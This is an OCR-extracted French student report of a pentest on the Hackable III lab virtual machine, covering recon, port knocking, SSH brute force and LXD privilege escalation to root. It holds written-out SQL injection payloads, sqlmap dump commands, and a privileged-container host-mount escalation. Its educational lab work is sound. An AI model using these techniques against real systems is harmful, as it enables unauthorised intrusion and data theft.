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Introduction

Ce rapport détaille les étapes réalisées pour identifier et exploiter les failles de sécurité d'une
machine virtuelle Hackable :lll. L'objectif est de démontrer une méthodologie complete de
pentesting, adaptée méme aux débutants, en suivant une progression logique.

Les étapes abordées sont les suivantes :

1. Installation

2. Reconnaissance

3. Recherche de failles

4. Mise en place des failles

5. Connexion SSH, élévation des privileges & recherche des

flags



1. Installation

L'installation de la machine cible a été effectuée sur un réseau local virtualisé. Voici un résumé
des étapes réalisées :

e Création d'un réseau privée comportant un DHCP qui attribue une adresse IP
automatiquement

Adapter Serveur DHCP

Configurer la carte automatiquement

® Configurer la carte manuellement

Adresse [Pv4 : 192.1

Masque réseau IPv4 :

e Création d'une machine virtuelle sous VirtualBox.

N# Oracle VM VirtualBox - Gestionnaire de machines - [m] X

Fichier Machine Aide

T %+ %4

i Genéral Prévisualisati
e, kali-inux-2024.2-virtualbox-am... D nera D revisualisation
) =% En fonction - Hackable I

d'exploitation : Debian (64-bit)

B~
O

st-Only Ethernet Adapter')

: 0 (0 actif)



e Configuration réseau en mode Réseau privé héte (Cela permet de sécuriser les
connexions en limitant l'accés a la machine attaquante et a la cible sur un réseau local
isolé) pour gu'elle soit accessible depuis d'autres machines du réseau.

%5+ Hackable lll - Paramétres — O X

Général Reseau

Systéme Adapter 1

Affichage
Stockage Mode d'accés réseau : Réseau privé hte -

Name: VirtualBox Host-Only Ethernet Adapter
Son

P Advanced
Réseau

e Faire la méme chose sur notre machine qui servira a attaquer

2. Reconnaissance

La reconnaissance consiste a identifier les ressources du réseau et a recueillir des informations
sur la machine cible.

2.1. Identification des machines sur le réseau

Nous utilisons tout d’abord un outil qui s’appelle « netdiscover » il sert a identifier des adresses
sur le réseau ou se trouve notre machine, il utilise des requétes ARP pour détecter les
périphériques sur le réseau local. :

Currently scanning:

Captured ARP Regq,

L MAC

Systemtechnik GmbH
temtechnik GmbH

Résultat :
e 3 adresses |P ont été identifiées :
o 192.168.56.1 : passerelle réseau.
o 192.168.56.100 : adresse DHCP.

o 192.168.56.105 : machine cible potentielle.



2.2. Vérification de Uétat des machines

Pour vérifier ’état des IP que nous avons trouvé, nous utilisons la commande fping

68.56.1 192.168.56.100 192.168.56.105

g for response)

und trip time
) sec (elapsed

Nous voyons que les trois machines répondent et quelles sont toujours en vie.

2.3. Analyse des ports

Nous allons maintenant analyser tous les ports avec la commande nmap sur ’adresse qui est
notre victime, nous allons utiliser certaines options comme :

e -sS:Scan furtif des ports ouverts via des paquets SYN.
e -sV :ldentifie les versions des services sur les ports ouverts.

e -0O:Détecte le systeme d'exploitation de la cible. Elle s’appuie sur des empreintes
TCP/IP pour deviner ’'OS.

Résultat :

e Port 22 (SSH) : filtré.

e Port 80 (HTTP): ouvert.

En accédant a Uadresse http://192.168.56.105 via un navigateur, un site web est détecté.



3. Recherche de failles

3.1. Exploration du site web
L'outil Nikto a été utilisé pour analyser le serveur web. Commande :

nikto -h 192.168.56.105

Nous voyons la présence de fichiers et dossiers intéressants comme index.php et login_page
qui peuvent étre utiles par la suite.

Nous voyons que nous avons une CVE (« 2003-1418 ») (Une CVE (Common Vulnerabilities and
Exposures) est une faille de sécurité répertoriée publiquement avec des détails exploitables),
nous la recherchons sur Exploit.db :



Exploit Database Advanced Search

2003-1418 w w

No data evailable in table

Showing 0 to 0 of 0 entries

Nous ne trouvons rien qui la concerne

En inspectant manuellement le site, deux éléments notables sont identifiés :

1. Un utilisateur nommé "jubiscleudo” et une mention de port knocking pour ouvrir/fermer
des ports pour se connecter a une session.

2. Nous avons un acces a « Login_page/login.html »

Login:




Nous faisons des recherches pour savoir ce qu’est un « port Knocking » et comment ¢a marche :

Il faudrait activer/désactiver un port knocking pour entrer/quitter sa section. Je vais donc faire
des recherches sur le « port knocking »

Google port knocking
Tous Images Videos Actualites ivres Web Finance

Le tocage a la porte, ou port-knocking, est une méthode
permettant de modifier le comportement d'un pare-feu
(firewall) en temps réel en provoquant I'ouverture de ports
permettant la communication, grace au lancement préalable
d'une suite de connexions sur des ports distincts dans le bon
ordre, a l'instar d'un code ...

Wikipédia
hittps:/ffr wikipedia.org » wiki » Port knocking

fﬁ} Wiki ubuntu-fr
= hitp://doc.ubuntu-fr.org » port-knocking :

Port Knocking : sécuriser lI'accés a un port

Le port-knocking est une méthode permettant de modifier le c
temps réel pour provoquer l'ouverture d'un port suite au lancem

https://doc.ubuntu-fr.org/port-knocking



https://doc.ubuntu-fr.org/port-knocking

3. Coté client

Pour initier une séquence sur les différents ports, vous pouvez utiliser le client de votre choix, comme
telnet ou le 'swiss army knife' nc...

Ou bien utiliser un logiciel client spécifique au port-knocking comme knock, aprés avoir installé le paquet
knockd (sur le client cette fois-ci !).

Pour 'utiliser, lancer simplement la commande (l'utilisation du protocole J.CP est faite par défaut) :
knock my_server portl port2 port3

Ou, si il est nécessaire de préciser dans la combinaison plusieurs protocoles :
knock my_server 70888:tcp 8808:udp 9000:tcp

Qu, si la combinaisons n'utilise que des ports udp:

knock -u my_server 7080 85006 9800

Pour en savoir plus, exécutez dans un terminal la commande man knock

Nous savons que pour utiliser le knock nous avons besoin de 3 ports différents, il faut donc
trouver 3 ports. Cette méthode consiste a envoyer des requétes spécifiques a une série de ports
pour activer ou désactiver un service, souvent utilisé pour sécuriser les acces SSH.

3.2. Recherche de fichiers/dossiers cachés

Quand nous allons sur la page que nous avons trouvé, nous atterrissons sur la page suivante :

Kali Linux Kali Tools KaliDoes M K Kali NetHunter Exploit-DB Google Hacking DB OffSec (g) csaw_ese_2024/challe.
Index of /login_page

o Parent Directory

Eacss! 2021-04-20 14:54

3 fonts/ 2021-04-20 14:54
Dimages! 2021-04-20 14:54

[£) loginhtmi 2021-06-30 20:37 2.6K

Apache/2.4.46 (Ubuntu) Server at 192.168.56.105 Port 80




Nous avons vu sur le nikto que nous avons des fichiers que ne retrouvons pas sur la page
« http://192.168.56.105/login_page ». Nous utilisons la commande « gobuster » :

ristian Mehlmauer

http 2 .185

Method: GET
Threads: 1@
Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.

gobuster
1@s

= = —
v W

Nous avons testé avec une autre wordlist, sauf que le test de tout la wordlist prenait plus de 3
jours pour étre tester au complet.

/usr/share/wordlists/rockyou.txt

[l

— 0 9

51
5

W ownon o

Wow oW
S T B T+



http://192.168.56.105/login_page

Il nous manque aussi encore des dossiers, je me suis donc renseigné sur un autre outil pour
pouvoir trouver des fichier/dossiers.

J ai trouvé sur les outils de kali un outil qui s’appelle « dirbuster » qui est graphique

https://www.kali.org/tools/dirbuster/

https://medium.com/@a.saadetclaire/dirbuster-et-pentest-machine-hack-97cf3c773491

On utilise medium car c’est une des plus grandes listes de « dirbuster »

Gobuster est une version en ligne de commande, rapide et légere, tandis que Dirbuster est une
version graphique adaptée aux analyses approfondies.

File Options About Help

Target URL (eg http:/fexample.com:80f)
http:/f192.168.56.105

Please Select The DirectoryjFile L

Work Method (0 Use GET requests only () Auto Switch (HEAD and GET)
Look |n: |CI wordlists
Number Of Threads ¢ {7k 200 Thre... Go Faster
[E] apache-user-enum-1.0.txt
[E] apache-user-enum-2.0.txt
Select scanning type: (2) List based brute force () Pure Brute Force

E] directories,jbrofuz
[E] directory-list-1.0.txt
@, Browse ||@ [ directory-list-2.3-medium, bt
— | Bl directory-list-2.3-small. tut
i directory-list-lowercase-2.3-medium. txt
£l directory-list-lowercase-2.3-small it

File with list of dirsffiles

fusrfshare/dirbuster/wordlists/directory-list-lowercase-2, 3-medium.txt

Select starting options: (5) Standard start peint () URL Fuzz
Brute Force Dirs Be Recursive Dir to start with |/ File Name: |d\rectcry—list—\owercase—zS—m

Brute Force Files [l Use Blank Extension File extension D Files of Type: |AII Files

| Slexit | | D start

Flease complete the test details

Mais nous voyons que le temps de tester tous les fichiers et dossier est énorme, méme si nous
cherchons seulement les dossiers, nous aurons pour 1h a tout chercher


https://www.kali.org/tools/dirbuster/
https://medium.com/@a.saadetclaire/dirbuster-et-pentest-machine-hack-97cf3c773491

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help
http://192.168.56.105:80/
@ 5can Information ' Results - List View: Dirs: 20 Files; 71 ' Results - Tree View | A\ Errors: 0},
Directory Stucture Response Code | Response Size
x4 200 1346
&3 icons 403 449
[ login.php 200 689
(3 css 200 1308
(3 login_page 200 1714
(3 imagens 200 2560
03 js 200 1121
&3 config 200 1118
[ config.php 200 711
(3 backup 200 1132
Current speed: 1128 requests/sec (Select and right click for more options)
Average speed: (T) 798, (C) 871 requests/sec
FParse Queue Size: 0 Current number of running threads: 200
Total Requests: 50324/8720612 l:l | Change ‘
Time To Finish: 02:45:54
& | 0l Pause H ] Stop
Starting dirffile list based brute forcing lessinewsgator/

Nous trouvons donc les nouveaux fichiers que nous avons vu avec la commande nikto, mais ¢a
reste encore trés long pour trouver tous les fichiers, mais ¢a permet de nous faire un affichage
graphique

Nous allons utiliser directement la commande dirb



192.168.56.1085/

START_TIME:
URL_BASE: http
WORDLIST_FILES:

GEMERATED WORDS: 4612

Scanning URL:
» DIRECTORY:
» DIRECTOR
DIRECTOR
— DIR
SIZE:1895)

Entering
(1) WARMNING:
(Use mode '-w' if you want to scan it

—— Entering directory: /192.168.56.105/config/ ——
(1) WARNING: Direct IS5 LISTAELE. No need to
(Use mode '-w

—— Entering dir [ /
(!) WARNING: Dir IS5 LISTAELE. No
[Use mode if you want to scan it a

—— Entering : 1Y
(1) WARNING C STAELE. No
(Use mode o scan it

Entering 7
(1) WARNING: Dir L C STAELE. No need to
(Use mode '-w' if you want to scan it

END_TIME: Now
DOWNLOADED: 4612 - FOUND:

Si nous souhaitons, nous pouvons faire une recherche avec dirb pour trouver certaine extension
de fichier comme .txt ou .php (avec la commande «dirb http://192.168.56.105 -X .php,.txt,.jpg »
par exemple )

3.2. Explorations



Quand nous explorons le site internet des dossiers/fichier qui se trouve sur
«http://192.168.56.105/login_pass/ » et les fichiers que nous avons trouvé avec le dirb nous
trouvons plusieurs fichier qui nous interpelles

Tout d’abord nous avons dans « /backup » un fichier qui s’appelle wordlist.txt, il comporte une
liste de mot d’environ 4000 mots. Elles peuvent servir de liste de mot courant que nous utilisons
pour se connecter au site internet ou a un autre logiciel (Comme le SSH)

Index of /backup X+

O A 192.168.56.10

Kali Linux Kali Tools KaliDocs & Kali Forums Kali MetHunter Exploit-

Index of /backup

Name Last modified Size Description

¥ Parent Directory -
wordlist.txt 2021-04-23 16:03 2.3K

Apache/2.4.46 (Ubuntu) Server at 192.168.56.105 Port 80

Wordlist.txt :

®  192.168.56.105/backup/worc X +

¢ C @ O @ 192:168.56.105/backup/wordlist.t B % F|
Kali Linux Kali Tools Kali Docs ¥ Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

123456

password
iloveyou
princess

michael
ashley
querty

chocolate
passwordl
soccer
anthony
friends
butterfly
purple
angel
jordan
Liverpool
justin
loveme
fuckyou

carlos
jennifer
joshua
bubbles
1234567890
superman
hannah
amanda
Loveyou




Nous avons un autre fichier, qui s’appelle 1.txt qui contient :

O & 192.168.56.105/config/

Kali Linux Kali Tools Kali Docs % Kali Forums Kali MetHunter Exploit-DB

Index of /config

Name Last modified Size Description

«® Parent Directory -
Lixt 2021-04-21 18:00 9

Apache/2.4.46 (Ubuntu) Server at 192.168.56.105 Port 80

1.txt:

®  192.168.56.105/config/l.txt *  +
& C @ O & 192.168.56.105
Kali Linux Kali Tools Kali Docs & Kali Forums Kali NetHunter

MTAWMDA=

Enfin nous avons aussi un autre fichier qui s’appelle 2.txt qui contient :

5  Indexof [css X+
< C @ O & 192.168.56.105

Kali Linux Kali Tools Kali Docs % Kali Forums Kali NetHunter Exploit-Df

Index of /css

Name Last modified Size Description

+ Parent Directory -
2.txt 2021-04-21 18:03 67
file.css 2021-04-20 14:53 1.7K

Apache/2.4.46 (Ubuntu) Server at 192.168.56.105 Port 80

2.txt :

O & 192.168.56.105

Kali Linux Kali Tools Kali Docs & Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSe

R R b e o e N RA Rt s

4. Mise en place des failles



4.1. Téléchargement de fichiers

Nous allons donc essayer de télécharger cette wordliste pour pourvoir ’exploiter aprés si
besoin

J’ai fait des recherche internet, je suis tombé sur la commande « SCP » mais elle utilise le SSH
donc nous ne pouvons pas Uutiliser (SCP est un outil basé sur SSH pour le transfert sécurisé de
fichiers entre machines), j’ai continué mes recherches jusqu’a tomber sur :

Google télécharger un fichier qui se trouve sur un site internet commande

Qu'est-ce que lacommande Wget ? Wget est un outil de ligne de
commande qui permet de télécharger des fichiers depuis l'internet
directement dans votre répertoire actif. Il fonctionne en arriére-plan,
ce qui permet de poursuivre les taches méme si vous n'étes pas en
ligne. 4 024

Hostinger

https/Awww hostinger fr » tutoriels > commande-wget

Commande Wget : Comment I'utiliser + 12 exemples pratiques

0 A

https://www.hostinger.fr/tutoriels/commande-wget#:~:text=aide%20de%20Wget%20%3F-
Qu'est%2Dce%20que%20la%20commande%20Wget%20%3F.n'%C3%AAtes%20pas%20en%
20ligne.

Pour cela nous faisons :

Ou méthode alternative : Copier-coller le contenu dans un fichier local.

Donc maintenant je vais tester de me connecter a la machine en SSH mais ¢a nous dit que ce
n’est pas possible :



https://www.hostinger.fr/tutoriels/commande-wget#:~:text=aide%20de%20Wget%20%3F-,Qu'est%2Dce%20que%20la%20commande%20Wget%20%3F,n'%C3%AAtes%20pas%20en%20ligne
https://www.hostinger.fr/tutoriels/commande-wget#:~:text=aide%20de%20Wget%20%3F-,Qu'est%2Dce%20que%20la%20commande%20Wget%20%3F,n'%C3%AAtes%20pas%20en%20ligne
https://www.hostinger.fr/tutoriels/commande-wget#:~:text=aide%20de%20Wget%20%3F-,Qu'est%2Dce%20que%20la%20commande%20Wget%20%3F,n'%C3%AAtes%20pas%20en%20ligne

Aprés vérification nous avons notre port SSH qui est en filtrée, il faut donc trouver un moyen de
modifier ¢a.

4.2. Injection SQL

Une injection SQL consiste a insérer du code SQL malveillant dans les champs utilisateur pour
manipuler la base de données sous-jacente.

Comme nous avons un formulaire pour nous connecter a un site avec « utilisateur » et « mot de
passe » nous essayons de faire une injection SQL.

Avec la commande dirb, j’ai tenté de chercher des fichiers .php directement a la racine du site
internet

END_TIME: Tue
DOWNLOADED:

Jai testé d’aller sur le page de login et de rentrée n’importe quoi, nous trouvons :



Nous avons aussi la méme chose sur login.php et config.php

Nous pouvons essayer faire une injection SQL pour accéder au site

Jaifait:

« http://192.168.56.105/config.php?user=%27%200R%20%271%27=%271&pass=dummy »

ou

« http://192.168.56.105/login.php?user=%27%200R%20%271%27=%271&pass=dummy »

Etj’ai tester d’autre injection SQL mais cela n’a rien aboutis, je tombais sois sur une page
blanche, soit sur une page d’erreur, comme :
192.168.56.105/config.php? 404 Not Found
O a1

Kali Linux Kali Tools KaliDocs % Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

© margin

border
] padding
b

* body

Errors  Warnings Logs



http://192.168.56.105/config.php?user=%27%20OR%20%271%27=%271&pass=dummy
http://192.168.56.105/login.php?user=%27%20OR%20%271%27=%271&pass=dummy

Comme nous avons une « Database » nous avons essayé de trouver une faille dessus avec les
commandes suivantes :

sqlmap -u "http://192.168.56.105/config.php?user=test&pass=test" -dbs
sqlmap -u "http://192.168.56.105/config.php?user=test&pass=test"” -D hackable -tables

sqlmap -u "http://192.168.56.105/config.php?user=test&pass=test” -D hackable -T usuarios —
dump

Mais cela nous a amener a rien, en mettant de c6té les injections SQL

4.3. Port Knocking

Ily a une indication sur le site internet, quand nous lUinspectons, qui nous dis pour aller sur la
session de « Jubiscleudo », nous devons activer ou désactiver le port Knocking, apres s’étre
informer dessus, nous devons trouver 3 ports différents

4.3.2 Trouver les ports

En explorant le site, nous avons trouvé deux fichiers (1.txt et 2.txt) qui n’avait pas vraiment de
sens, nous allons donc les analysés via Uoutil CyberChef/dCode pour extraire des valeurs.

+

O & 192.168.56.105/config

Kali Linux Kali Tools KaliDocs % Kali Forums Kali NetHunter Exploit-DB Google Hacki

MTAwMDA=




Recipe .
From Basegd -
A-Za-z@-%+/=

Remowve non El Strict mode

alphabet chars

Kali Linux Kali Tools

i [ e st

Rechercher un outil
RECHERCHE SUR DCODE PAR MOTS-CLES :
Tapez par exemple 'scrabble’ || &
PARCOURIR LA LISTE COMPLETE DES OUTILS
Résultats BB e x| x

L'analyseur dCode suggére d'investiguer :

1l Tl
Brainfuck EEEEER
ReverseFuck s
chiffre par Substitution -
Chiffre par Décalages s
chiffre Homophonigque =
Code Decabit =
#6

BLACK FRIDAY

Kali Docs ™ Kali Forums

Input

MT AmHDAS

w s =1

Output  #.

el ]

192.168.5¢

Kali NetHunter Exploit-DB

RECONNAITRE UN CHIFFREMENT

Cryptographie : Reconnaitre un Chiffrement
A

BRICOMARCHE Q
L

IDENTIFIER UN MESSAGE CODE

MESSAGE CHIFFRE A RECONNAITRE (3)
[stm+++

B D

INDICES/ MOTS-CLES (FACULTATIF)

P ANALYSER

Voir aussi : Analyse des Fréquences — Indice de Coincidence
IDENTIFIER DES SYMBOLES

> Aller a : Chiffrements avec Symboles
>

Google Hacking DB

Tr Rew Byter = UF

R0 m::

OffSe

= &
e

Menu

» Identifier un Mess
5 Qu'est-ce qu'und
chiffrement ? (Défini
+ Comment déchiffi
message codé ?

+ Comment reconn:
chiffrement ?

s Pourquoi le détec
un avertissement ?
» Pourquoi 'analys:
trouve pas men chifi
utilisé ?

+ Comment fonctiol
reconnaissance de ¢
?

Pages similai

» Indice de Coincidi
» Analyse des Fréq

Quand nous convertissons ces 2 fichiers nous trouvons 2 nombres qui sont le 4444 et le 10000

Ces valeurs semblent correspondre a des ports utilisés pour le port knocking.



Il nous en manquerait plus que 1 port pour activer le port SSH grace au port Knocking

Les recherches sur le site internet continue, nous n’avons pas de fichier qui s’appelle 3.txt
cependant nous avons un autre fichier qui s’appelle 3.jpg, il est cité dans le commentaire html
que nous avons sur la page principale du site.

Donc nous cherchons 3.jpg

J— | =

http://192.168.56.105/ -

DIRE wv2.22
By The Dark Raver

START_TIME: Tue Nov 26 13
URL_BASE: http: -

WORDLIST_FILES:

EXTENSIONS_LIST: (.jpg) | (.jpg) [NUM = 1]

GENERATED WORDS: 4612

ning URL: htt
2.168.56.10

END_TIME: Tue Nov 26 13:4@:47
DOWNLOADED: 4612 - FOUND:

Ce quinous donne :



Nous trouvons donc aucune informatique sur 'image, nous allons donc Uinspecter en faisant
de la stéganographie (grace au site : https://k-lfa.info/tools-stegano/

Google stéganographie image

Web

k-Ifa.info
https://k-Ifa.info » tools-stegano

Quelques tool Steganographie - K-Ifa

018 — Fichiers Images. LSB-Steganographie. Outil permettant
d'encoder/décoder de la data en modifiant les bits de couleur (LSB) Download Here -

|- [~/Downloads ]
3.jpg

J— |

Downloads

i )- [ ~/Downloads ]
L. LSB phy/ - L 3.3pg
python2: can't open ' ( g.py': [Errno 2] No such file or directory

LSB-Steganography ne fonctionne pas non plus


https://k-lfa.info/tools-stegano/

|- ~/Downloads ]
3.jpg
ExifTool Version Number
File Mam

Access

e Inode

MIME

Resolution Unit
X Resolution
solution
Width
Image Height g
Encoding Process : Baseline DCT, Huffman coding

|- [~/Downloads ]

Exiftool fonctionne mais ne nous apporte pas d’information intéressante

En lissant la documentation nous tombons sur :

Steghide

Permet de dissimuler du texte dans un fichier (image ou son)

Utilisation :

$steghide extract -sf ch1®.jpg

Entrez la passphrase:

écriture des données extraites dans “password.txt™

Nous testons donc de faire la commande avec notre fichier et nous avons (Nous validons le
passphrase vide):



[~/Downloads ]
ract -sf 3.jpg

EST Nov steganopayloadl48505.txt

Nous regardons ce que nous avons dans le fichier et nous trouvons un nouveau port :

— |- ~/Downloads ]

— steganopayloadl148505.txt
porta:655335

Nous avons donc le dernier port que nous cherchons : 65535

4.4. Activation du port SSH via port knocking

Avant d’utiliser la commande «Knock » j’ai quand méme tester de mettre les ports que nous
avons trouvé apres l’adresse IP dans UURL pour voir si nous avons des indices en plus mais ¢a
ne fait rien



5 @ Problem loading page X +

= C @ @ 192.168.56.105 Ew @ ® 9 =

Kali Linux Kali Tools Kali Docs ¥ Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

Unable to connect

Firefox can't establish a connection to the server at 192.168.56.105:65535.

= The site could be temporarily la n a few moments.
« If you are unable to load any = rC ter's netw: ction.

« If your computer or network ected b h <e sure that Firefox is permitted to ac:

margin
border

| o~

Si nous restons le Nmap nous voyons que maintenant le port SSH est ouvert et nous pouvons
nous connecter dessus



Host is up
Not shown:

y ince : p.org/submit/
seconds

5. Connexion SSH, élévation des privileges & recherche des flags

Nous voyons maintenant que nous avons le port SSH qui est ouvert donc maintenant nous
allons tenter de nous connecter en SSH avec la Wordlist que nous avons trouvé mais aussi le
nom « jubiscleudo »

e following options r 1 modul
5 jak -
this is non-binding

The Module ssh d d or support optior

wing
jubiscleudo

nt to run the

in milit
d ethics
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Connexionen SSH :
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Maintenant que nous sommes connectés, il faut élever les priviléges ou trouver et avoir un
acces a un compte qui a des acces privilégiés, pour cela nous explorons la machine pour
trouver des indices. Avant, utilisons la commande « ID », pour voir les fichiers qui sont relier au
groupe ou il se trouve et ou crée par le utilisateur « Jubiscleudo »:

fubuntu2d:

uid=1001( jubiscleudo) gid=1001( jubiscleudo) groups=1001(jubiscleudo)




jubiscleudogubuntu2®:
2

jubiscleudo jubist 4096
root root 4096
jubiscleudo jubiscleudo 5 .bash_history
jubi udo r 29 .bash_logout
jubi udo Y
4896
aa7
984

invite-me:

Sur nous regardons les comptes qui sont sur le serveur, nous voyons que nous avons le compte
sur lequel nous sommes « Jubiscleudo » et un autre qui s’appelle « Hackable_3 »

jubiscleu ubuntuz2@:~% 1s -la
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root
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jubiscleudo
jubiscleudo

jubiscleudo

jubiscleudo

jubiscleudo
ubuntu
ubuntu
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cd ..

$ 1s
s 1

Nous cherchons sur internet, savoir si nous pouvons trouver des informations sur le compte
« Hackable_3 »



Nous avons donc essayé de nous connecter a « Hackable_3 » en SSH grace a la Wordlist
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Nous allons donc analyser a nouveau le site internet, en allant directement dans les fichiers
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.backup_c
config.php
home . html

index.html

in.php
ots.txt
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Nous avons un fichier qui nous intrigue, nous allons donc regarder ce qu’ily a dedans (le

« .backup_config.php »)



running MySQL
- ) ; with no password) */
'DB_SERVER 1o

'DE:UEEENAME', "hackabl

'DE_PASSWORD', 'TrOLLED
("DE_NAME', 'hackable")

Attempt to connect to MySQL da

onexao = mysgli_connect(DB_SERVER, DB_USERNAME, DB_PASSW , DB_NAME);

Check connection

ysgli_connect_error(

Nous avons maintenant le mot de passe du compte « hackable_3 » qui est «TrOLLED_3» . Nous
allons donc nous connecter en SSH dessus :

re plugins. See
on.

e. Check your Internet connection or proxy settings

y4(adm),24(cdrom),30(dip),46(plugdev),116(1xd)

Comparée a Uutilisateur « Jubiscleudo » nous avons d’autre informatique sur « ID »



J’ai effectué mes recherches pour savoir ce que c’était les GID, quand j’ai cherché le dernier je
me suis rendu compte qui pourrait nous étre trés utile.

groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(Ixd) :

e Cette section liste tous les groupes auxquels l'utilisateur appartient, accompagnés de
leurs GIDs et noms respectifs.

e hackable_3 (GID 1000) : Le groupe principal de l'utilisateur.

e adm (GID 4): Le groupe "administration", qui donne généralement des droits d'accés
aux journaux systéeme.

e cdrom (GID 24) : Permet l'accés aux périphériques CD-ROM.

e dip (GID 30) : Donne des permissions pour gérer des connexions PPP (Point-to-Point
Protocol).

e plugdev (GID 46) : Permet l'acces aux périphériques amovibles, comme les clés USB.

e Ixd (GID 116): Associe l'utilisateur a LXD, un outil de gestion de conteneurs.

LXD est un logiciel libre développé par Canonical pour simplifier la manipulation de conteneurs
de logiciels a la maniere d'un hyperviseur de VM. C'est une surcouche logicielle de LXC. Il fait
partie du projet global LinuX Containers de gestion de containers. (https://doc.ubuntu-fr.org/Ixd)

J’ai donc effectué des recherches et je suis tombée sur un GitHub trés intéressant
(https://github.com/samoN1k0la/LXD-Privilege-Escalation). Qui nous permet d’élevée les
privileges grace a un utilisateur appartenant au groupe « Ixd »

github.com/saghul/lxd-alpine-builder.git

(from 1)

Nous allons dans le répertoire du GitHub que nous avons cloné et nous allons créer 'image
d’Alpine


https://doc.ubuntu-fr.org/lxc
https://linuxcontainers.org/
https://doc.ubuntu-fr.org/lxd
https://github.com/samoN1k0la/LXD-Privilege-Escalation

1xd-alpine-builder
~/1xd-alpine-builder]
build-alpine: must be run as root

[~/1xd-alpine-builder]

linux.org/alpi

'APK-TOOLS
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README . md

Cela crée un fichier .tar.gz contenant le conteneur.

Nous langons sur notre machine, un code python qui permet de lire/envoyer des fichier en
passant sur le site internet. Lancez un serveur HTTP sur la machine attaquante :

~/1xd-alpine-builder

HTTP on )
6.105 - — [@ ; ] /alpi 0139.ta HTTP/1.1"

En parallele nous récupérons le fichier qui se trouve sur notre machine. Sur la machine cible, il
faut exécutez :

Pour initialisez le conteneur



| ALIAS | FINGERPRINT I Y SI1Z UPLOAD

CONTAINER 3.11ME Dec 1, 2024 at

Ajoutez un point de montage pour accéder a la racine et nous démarrons et accédons au
conteneur
hackable buntu2@: $ 1xc init myimage ignite -c security.privileg

config device add ignite mydevice disk source=/ path=/mnt/root recursive

tart ignite

nite /bin/sh

Enfin nous naviguons dans le systeme de fichiers racine depuis le conteneur :

~ # cd /mnt/root/
/mnt/root # ls

swap.img

/mnt/root # cd root/
/mnt/root/root # 1s
knockrestart.sh root.txt

Et nous trouvons un fichier root.txt qui nous ameéne a la fin du de ce pentesting, nous avons
obtenu les privileges root.



/mnt/root/root #

Size: 116 x 51

invite-me: linkedin.com/in/eliastouguinho
/mnt/root/root # [

Conclusion :

Ce projet a permis de suivre une méthodologie complete de pentest sur une machine virtuelle
Hackable:lll. Les différentes étapes, allant de la reconnaissance a l'escalade de privileges, ont
permis de développer une meilleure compréhension des techniques.

J’ai pu découvrir de nouveau outil comme dirb , dirbuster qui m’ont été tres utile, mais aussi ce
qu’était «Ixd»/ «Ixc».

Ce travail a également mis en lumiére l'importance de la documentation et de la persévérance,
notamment lors de l'analyse approfondie des fichiers ou de la recherche des ports spécifiques.

Cette expérience a offert une initiation enrichissante au pentest, tout en soulignant les mesures
de sécurité essentielles pour protéger les systemes contre de telles attaques.



